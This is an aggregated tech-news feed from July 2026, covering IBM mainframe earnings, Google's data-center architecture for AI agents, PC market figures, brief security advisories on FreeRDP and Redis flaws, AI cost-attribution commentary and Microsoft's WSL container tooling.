In a July 14 letter to investors released prior to IBM’s July 22 earnings call, CEO Arvind Krishna warned of the earnings shortfall and laid out current challenges. He related the infrastructure performance shortfall to “wrapping on the launch of z17 in the second quarter” and stated: “Given this was the strongest start to a mainframe program in our history, we expected Infrastructure revenue to decline low-single digits for the year, beginning this quarter. What played out was worse than our expectations, driven by a shortfall in our Z performance and the associated software stack, primarily in Transaction Processing.”

In the last few weeks of June, customers shifted capex spending and started purchasing more AI infrastructure components in the form of servers, storage, and memory “to secure supply-constrained infrastructure ahead of expected price increases,” Krishna stated. “This dynamic impacted client buying patterns. While we anticipated some supply chain related impact in our expectations, we did not anticipate the magnitude of the capex reprioritization.”

Yet despite challenges this last quarter, z17 remains at nearly 130% growth program-to-program, according to IBM. That’s “well ahead of z16, which was our strongest program on record, with clients representing 85% of installed MIPs maintaining or growing capacity,” the July 14 letter stated.

Mainframe infrastructure momentum is expected to continue, and IBM is anticipating strong workload growth and AI-driven capacity expansion as clients modernize mission-critical systems and emphasize resiliency and security, Krishna said during the company’s Q2 2026 earnings call on July 22.

“AI is driving incremental capacity growth and new workloads as clients look to run AI closer to their most sensitive data,” IBM senior vice president and CFO James Kavanaugh said in the call. “We are seeing strong early adoption of our AI innovations with nearly 50% of z17 customers investing in AI capabilities with Spyre AI accelerator, and clients deploying Watson X Code Assistant for Z are growing MIPS capacity three times faster than those who are not.”

“In a world where infrastructure costs are rising and efficiency matters more than ever, IBM Z offers a compelling economic advantage,” Kavanaugh continued. “Depending on the size and complexity of workloads, clients can realize a 2 to 15x total cost of ownership benefit versus moving these workloads off the platform, reinforcing why the platform remains central to their operations and positioning us to capture additional value as AI workloads grow.”

“We see no evidence of clients moving off mainframe,” Kavanaugh added. “Clients continue to invest in IBM Z to modernize mission-critical workloads with a focus on resiliency and security.”

In responding to an analyst question, Kavanaugh said three key things drive mainframe demand and purchasing requirements:

“One is capacity workload. It’s the most important determinant. 85% Of the installed MIPS capacity out there in the marketplace today running all those core mission critical workloads are either stable or growing. Clients are adding capacity and workload to mainframe, the viability. And by the way, that’s coming in new AI workloads, analytics workloads, Linux-based workloads, and those MIPS are growing program to date over 15 to 20% installed capacity,” Kavanaugh said.

Number 2 is economic factors. “We don’t talk a lot about this, but I think it’s important for our investors to understand things like total cost of ownership. Depending on the size and complexity of the workload, we have anywhere from a 2 to a 15x TCO advantage running on the mainframe [over smaller server systems]. Again, we do not see any evidence of clients migrating off mainframe and lease propensity, which is a great indicator,” Kavanaugh said.

The third driver is AI. “When you look at it, applications, data security, all on the platform, we do 450 billion inferences per day at 1 millisecond with 8 nines availability,” Kavanaugh said. “We’ve got clients that have already purchased over 50% of our Spire inferencing, and those clients that have purchased that are growing MIPS capacity, the way [we monetize value], by over three times faster than others.”

USN-8369-2: mod_jk regression

Thu, 23 Jul 2026 15:53:48 +0200

USN-8369-1 fixed a vulnerability in mod_jk. It was discovered that for Ubuntu 18.04 LTS, during the update preparation phase, a previous fix for CVE-2023-41081 was incorrectly dropped. This update reintroduces the fix for CVE-2023-41081. We apologize for the inconvenience. Original advisory details: It was discovered that Apache Tomcat Connectors used incorrect default permissions for shared memory on Unix-like systems. A local attacker could possibly use this issue to view or modify mod_jk configuration data in shared memory, resulting in sensitive information exposure or a denial of service.

MacBook Neo’s success wasn’t luck, it was a plan

Thu, 23 Jul 2026 15:22:56 +0200

It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.

And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the company is already planning a powerful follow-up.

The numbers don’t lie

“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction.

Recent IDC data gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.

Neo 2.0 is already coming

This was never about luck

This isn’t solely a market take about competition, it’s about planning.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮

Thu, 23 Jul 2026 15:21:48 +0200

Author: Shannon Morse - Bewertung: 8x - Views:41

⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.

I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.

Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.

A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️

👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!

#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild

https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D

📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe

CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)
Amazon: https://amzn.to/3O70PIU
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq
B&H: https://bhpho.to/3PjZZcr

CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)
Amazon: https://amzn.to/4bkdodD
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q
B&H: https://bhpho.to/46EWdR4

Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)
Amazon: https://amzn.to/3NI9tO0
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6
B&H: https://bhpho.to/4ubyfa7

Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2
Amazon: https://amzn.to/49SZug7
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G

Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)
Amazon: https://amzn.to/4bSOyBO
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N
B&H: https://bhpho.to/4bpm9m9

Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)
Amazon: https://amzn.to/4pTv8QB
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN
B&H: https://bhpho.to/40dqbYK

Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)
Amazon: https://amzn.to/3NNmKos
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB
B&H: https://bhpho.to/46HyuQb

Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)
Amazon: https://amzn.to/4bTH8yd
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO
B&H: https://bhpho.to/4d3Fyu8

Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)
Amazon: https://amzn.to/4qSDWHG
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO
B&H: https://bhpho.to/3N1pqPq

Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)
Amazon: https://amzn.to/3YWIbG7
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z
B&H: https://bhpho.to/4uaSzs9

Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)
Amazon: https://amzn.to/4rzKNpN
Best Buy: https://bestbuycreators.7tiv.net/55OBVD
B&H: https://bhpho.to/46KcvYO

Turning Cable Chaos Into Cable Management Dreams
00:42 What Does a Power Supply Do?
02:04 Why This Build Uses a 1000W PSU
03:12 Fully Modular Power Supplies Explained
04:10 Identifying Every Power Cable
05:16 Installing the PSU
06:42 Subscribe & Patreon Shoutout
07:33 Connecting the 24-Pin Motherboard Cable
08:36 CPU Power Connectors
09:53 Cable Routing Tips
11:02 SATA Power & Accessories
11:54 Cable Management Basics
13:07 Next Episode Preview

Becoming a Morse Code Member by checking out the perks linked here!:
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join

Editor: @ColleenEdits

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

GET IN TOUCH
Mail ✈
https://shannonrmorse.com/contact

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

😍 FTC DISCLAIMER 😍
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!

Comment section code of conduct policy:
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)
https://shannonrmorse.com/code-of-conduct

Code of Ethics:
https://www.morsecodecreative.com/code-of-ethics

FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.

Q&A: Google’s AI and computing chief talks about its shapeshifting data centers

Thu, 23 Jul 2026 14:55:21 +0200

Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: Google transforms its data center architecture for agent era)

Network World spoke with Mark Lohmeyer, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.

Network World: What is the primary shift in infrastructure needs?

Mark Lohmeyer: We’ve seen the rise of agents and agentic use cases. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.

NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?

ML: Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, inference transactions increase by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.

NW: How are you addressing energy efficiency?

ML: Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced liquid cooling over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called N4A has energy efficiency and is significantly better than the prior generation and x86 comparables.

NW: How do you think about token efficiency as you build-out systems?

ML: Performance and efficiency gains are powered by co-design of the model and infrastructure. Gemini is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.

NW: How do you project what infrastructure will be needed years in advance?

ML: Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with DeepMind doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.

NW: What’s the eighth generation TPU platform?

ML: We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The eighth-generation TPU platform is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.

TPU-8t is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.

NW: How are you approaching GPU and TPU compatibility?

ML: People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, PyTorch and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.

NW: How has the orchestration platform changed for agents?

ML: Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming GKE [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the GKE stack: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.

NW: What is the role of the network and storage infrastructure?

ML: The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. We created the Virgo network — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.

In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.

We’ve introduced Managed Lustre 10T, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.

NW: How does KV cache strategy differ between training and inference?

ML: For TPU-8i, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.

We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.

Critical FreeRDP Clipboard Flaw Could Let Malicious RDP Servers Execute Code

Thu, 23 Jul 2026 14:41:57 +0200

A newly disclosed heap buffer overflow in the FreeRDP Windows client’s clipboard channel allows a malicious RDP server to corrupt heap memory and potentially achieve remote code execution (RCE) on connecting endpoints when clipboard redirection is enabled. Akallabeth has identified a critical flaw in FreeRDP’s Windows client, specifically the wfreerdp component handling the static clipboard […]

The post Critical FreeRDP Clipboard Flaw Could Let Malicious RDP Servers Execute Code appeared first on Cyber Security News.

Google transforms its data center architecture for agent era

Thu, 23 Jul 2026 14:23:05 +0200

Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.

“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said Mark Lohmeyer, vice president and general manager for AI and computing infrastructure at Google.

Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.

In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But agents could increase inference transactions by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.

“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.

Efficient data flow is key so agents can act, reason, and decide faster.

Google adjusted the Google Kubernetes Engine into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.

Google also made drastic improvements to its silicon to support its middleware changes. It recently introduced new AI chips, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.

The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.

A new CPU called Axion N4A is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.

Google also made many network and storage improvements to cut training and inference time. A new technology called TPUDirect can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.

A networking technology called Virgo can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.

A new technology called Pathways is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.

“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.

Weighing Google’s AI data-center stack

Google is the only provider with its own data centers, software, hardware and models, said Jack Gold, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.

Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.

“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.

But Logan Wolfe, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.

The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.

“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.

Apple defied a global PC sales slump in Q2 2026 thanks to MacBook Neo

Thu, 23 Jul 2026 13:49:47 +0200

The global PC market declined by 4% year-over-year in Q2 2026, but as Lenovo, Dell, and HP struggled, Apple's MacBook Neo helped it buck the downward trend.

MacBook Neo

New data shared by Counterpoint Research shows that global PC shipments plummeted to 65 million units in the second quarter of the year. This brought an end to a prolonged period of growth that stretched all the way back to Q1 of 2025.

But as the market as a whole struggled, Apple and Asus were able to weather the storm. That's good news for both companies, with economic headwinds unlikely to improve any time soon.

Continue Reading on AppleInsider | Discuss on our Forums

Critical FreeRDP Clipboard Flaw Could Let Malicious RDP Servers Execute Code

Thu, 23 Jul 2026 13:44:51 +0200

A critical heap buffer overflow vulnerability in FreeRDP’s Windows client could allow a malicious Remote Desktop Protocol (RDP) server to corrupt memory and potentially execute arbitrary code on a connecting client. This flaw specifically affects the Clipboard Redirection (CLIPRDR) virtual…

The post Critical FreeRDP Clipboard Flaw Could Let Malicious RDP Servers Execute Code appeared first on IT Security News.

Critical FreeRDP Clipboard Flaw Could Let Malicious RDP Servers Execute Code

Thu, 23 Jul 2026 13:25:50 +0200

The post Critical FreeRDP Clipboard Flaw Could Let Malicious RDP Servers Execute Code appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

New Kimi K3 AI Agent Uncovers 0-Day Exploits in Redis Server

Thu, 23 Jul 2026 13:14:55 +0200

A newly reported research effort tied to the Kimi K3 AI agent has surfaced multiple authenticated remote code execution (RCE) paths in Redis, one of the world’s most widely deployed in-memory data stores. The findings shared by researcher alias Bera Buddies cover the stock builds of Redis 6.2.22, 7.4.9, 8.6.4, and 8.8.0, combining a stream […]

The post New Kimi K3 AI Agent Uncovers 0-Day Exploits in Redis Server appeared first on Cyber Security News.

Smaller, smarter, safer: How to build agentic AI on the right foundation

Thu, 23 Jul 2026 12:04:43 +0200

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
Smarter: The system around the model decides more than the model does.
Safer: Verify at the point a mistake gets locked in, not just downstream of it.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

Routing

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

Specialization

Framework’s premium laptop is shipping with less RAM

Thu, 23 Jul 2026 11:43:12 +0200

RAMageddon has claimed yet another victim, with Framework now announcing a "major and unfortunate" pricing update for its upcoming premium laptop - which also impacts folks who preordered it. Memory configurations for the Laptop 13 Pro have been adjusted after Framework says it received cost updates from its memory supplier that "are more than double […]

Determining the ROI of AI requires data that most companies lack

Thu, 23 Jul 2026 11:07:22 +0200

Leadership wants to scale AI. Budgets are tripling. Adoption is up.

Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?

Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.

Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.

But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.

AI providers won’t fix this problem

The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.

Not convinced? Compare what AWS gives you to what an AI provider gives you.

AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.

An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.

If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it.

Three required sources

Building AI ROI measurement requires three data sources, stitched together in a single model.

Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.
Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.
Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.

Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.

Why agentic AI makes this urgent

Single-call inference is the easy case. One request, one cost, one customer, one outcome.

Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.

If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.

When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.

What changes when the three sources come together

Once the three sources are stitched together, the AI investment conversation changes.

Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results.

Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.

The build trap

AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.

The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.

It is a trap. Three reasons.

Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.

The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.

The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.

The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.

The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

WSL container: A quiet revolution for Windows development

Thu, 23 Jul 2026 11:07:20 +0200

Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.

Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a VS Code Server in every container you’re building and testing. If you’re working with Kubernetes, that’s even more complexity that needs to be managed, dragging you away from code.

I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.

So, it was good to see Microsoft make several announcements around WSL at Build 2026 as part of a push to make Windows a developer platform again. The first, an improved WSL3, is still some way away, but the second, WSL-native container support, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.

Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.

Getting started with WSL container

WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter wsl --update --pre-release.

This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering wslc, which should list the available commands. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).

Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.

Calling Linux containers from Windows applications

Things get more interesting when you start to use the WSL container API from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.

The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided sample code to show you what’s possible at this early stage.

